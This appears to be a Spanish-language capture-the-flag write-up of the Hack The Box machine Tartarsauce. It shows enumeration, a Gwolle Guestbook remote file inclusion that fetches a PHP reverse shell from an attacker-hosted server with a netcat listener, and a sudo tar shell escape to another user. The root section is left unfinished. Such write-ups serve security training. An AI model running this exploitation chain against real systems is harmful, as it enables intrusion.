Tartarsauce Writeup

MedioLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
b2d6ec45...
#Root Flag
e79abdab...

En este writeup vamos a ver cómo resolver la máquina Tartarsauce de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.88

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

Vamos a hacer un escaneo de puertos:

$ nmap -p- -A -Pn -sC -sV -n -v 10.10.10.88 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 5 disallowed entries | /webservices/tar/tar/source/ | /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ |_/webservices/developmental/ /webservices/phpmyadmin/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Landing Page NSE: Script Post-scanning.

Solo tiene el puerto 80 abierto. Si nos vamos al navegador vemos lo siguiente:

puerto-80
puerto-80

También ha descubierto un robots.txt que si nos vamos a http://10.10.10.88/robots.txt vemos las siguientes entradas:

fichero robots
fichero robots

SI inspeccionamos el código fuente de la web al final del todo vemos el siguiente comentario:

<!--Carry on, nothing to see here :D-->

En una primera instancia, dirbuster nos saca la siguiente estructura:

dirbuster
dirbuster

Si analizamos también con dirb podemos encontrar lo siguiente:

http://10.10.10.88/webservices/wp que se corresponde con una instalación típica de Wordpress.

$ dirb http://10.10.10.88/webservices/

Al revisar el robots.txt vemos que hay un webservice de monstra. Si entramos encontramos la siguiente web:

home
home

Si intentamos registrarnos a través de http://10.10.10.88/webservices/monstra-3.0.4/users/registration no podremos. No existe ese recurso.

Lo único que tenemos disponible es: http://10.10.10.88/webservices/monstra-3.0.4/admin/

login monstra
login monstra

Si probamos con las siguientes credenciales podremos entrar:

  • usuario: admin
  • password: admin

Si buscamos en searchsploit por monstra vemos que hay varios exploits disponibles para este CMS pero en concreto utilizaremos el siguiente:

Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution | php/webapps/43348.txt

Esta vulnerabilidad consiste en un RFI tal y como vemos a continuación

formulario de subida de ficheros
formulario de subida de ficheros

Pero por alguna razón es explotable así que vamos a revisar el directorio de Wordpress.

Si vamos a http://10.10.10.88/webservices/wp/ vemos lo siguiente:

pagina 404
pagina 404

Vamos a utilizar wpscan para analizarlo:

$ wpscan -v --url=http://10.10.10.88/webservices/wp/ --force -e ap --plugins-detection aggressive --rua --disable-tls-checks

Hemos encontrado cosas interesantes como que se trata de un Wordpress 4.9.4 y que tiene los siguientes plugins:

[+] akismet | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/ | Last Updated: 2021-01-06T16:57:00.000Z | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt | [!] The version is out of date, the latest version is 4.1.8 | | Found By: Known Locations (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200 | | Version: 4.0.3 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt [+] brute-force-login-protection | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/ | Latest Version: 1.5.3 (up to date) | Last Updated: 2017-06-29T10:39:00.000Z | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt | | Found By: Known Locations (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403 | | Version: 1.5.3 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt [+] gwolle-gb | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/ | Last Updated: 2020-11-26T13:09:00.000Z | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt | [!] The version is out of date, the latest version is 4.0.8 | | Found By: Known Locations (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200 | | Version: 2.3.10 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
  • akismet 4.0.3
  • brute-force-login-protection 1.5.3
  • gwolle-gb 2.3.10

Capturar User Flag

Para el plugin gwolle-gb tenemos el siguiente exploit:

WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion | php/webapps/38861.txt

Y se trata de inyectar en el parámetro abspath de la ruta /wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath= un fichero php malicioso.

Para ello creamos en nuestra máquina un php invocando a una reverse shell y lanzamos un SimpleHTTPServer con python.

Nos descargamos esta web shell https://raw.githubusercontent.com/danielmiessler/SecLists/master/Web-Shells/laudanum-0.8/php/php-reverse-shell.php cambiamos la IP y el puerto y la renombramos por wp-load.php

Levantamos el servidor con:

$ python -m SimpleHTTPServer 8000

Y en otra pestaña un netcat:

$ nc -nlvp 4242

Nos vamos al navegador web y accedemos a esta ruta:

http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.21:8000/

La vulnerabilidad tratará de descargar por defecto un fichero llamado wp-login.php por eso no es necesario añadirlo al final de abspath.

Automáticamente tendremos conexión en la reverse shell con el usuario www-data.

$ nc -nlvp 4242 1 ⨯ listening on [any] 4242 ... connect to [10.10.14.21] from (UNKNOWN) [10.10.10.88] 42890 Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux 06:57:01 up 57 min, 0 users, load average: 0.00, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $ pwd /

Podemos invocar TTY con:

python 'import pty;pty.spawn("/bin/bash")'

Si con este usuario hacemos un sudo -l nos encontramos lo siguiente:

www-data@TartarSauce:/$ sudo -l Matching Defaults entries for www-data on TartarSauce: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on TartarSauce: (onuma) NOPASSWD: /bin/tar

Vemos que www-data puede ejecutar /bin/tar como onuma sin tener que poner la contraseña.

$ sudo -u onuma /bin/tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"' $ id uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)

Ya podemos ir a /home/onuma y leer el contenido de user.txt para obtener la user flag.

Capturar la Root Flag

Si nos vamos al directorio /var/backups encontramos dos ficheros interesantes:

-rw-r--r-- 1 root root 219 Jan 11 06:59 onuma_backup_test.txt -rw-r--r-- 1 onuma onuma 11511681 Jan 11 06:59 onuma-www-dev.bak

Al abrir el fichero onuma_backup_test.txt vemos que lo ha creado un programa que se llama backuperer.

$ which backuperer /usr/sbin/backuperer $ locate backuperer /etc/systemd/system/multi-user.target.wants/backuperer.timer /lib/systemd/system/backuperer.service /lib/systemd/system/backuperer.timer /usr/sbin/backuperer $ cat /etc/systemd/system/multi-user.target.wants/backuperer.timer [Unit] Description=Runs backuperer every 5 mins [Timer] # Time to wait after booting before we run first time OnBootSec=5min # Time between running each consecutive time OnUnitActiveSec=5min Unit=backuperer.service [Install] WantedBy=multi-user.target $ cat /lib/systemd/system/backuperer.service [Unit] Description=Backuperer [Service] ExecStart=/usr/sbin/backuperer

Si hacemos un file del fichero /usr/sbin/backuperer veremos que se trata de un script en bash

$ file /usr/sbin/backuperer /usr/sbin/backuperer: Bourne-Again shell script, UTF-8 Unicode text executable

Revisar capturar ROOT Flag porque hay diversas formas

https://www.youtube.com/watch?v=fKcHGwKNjv0

https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/

También te puede interesar

Cap Writeup

Cap Writeup

Tenet Writeup

Tenet Writeup

Valentine Writeup

Valentine Writeup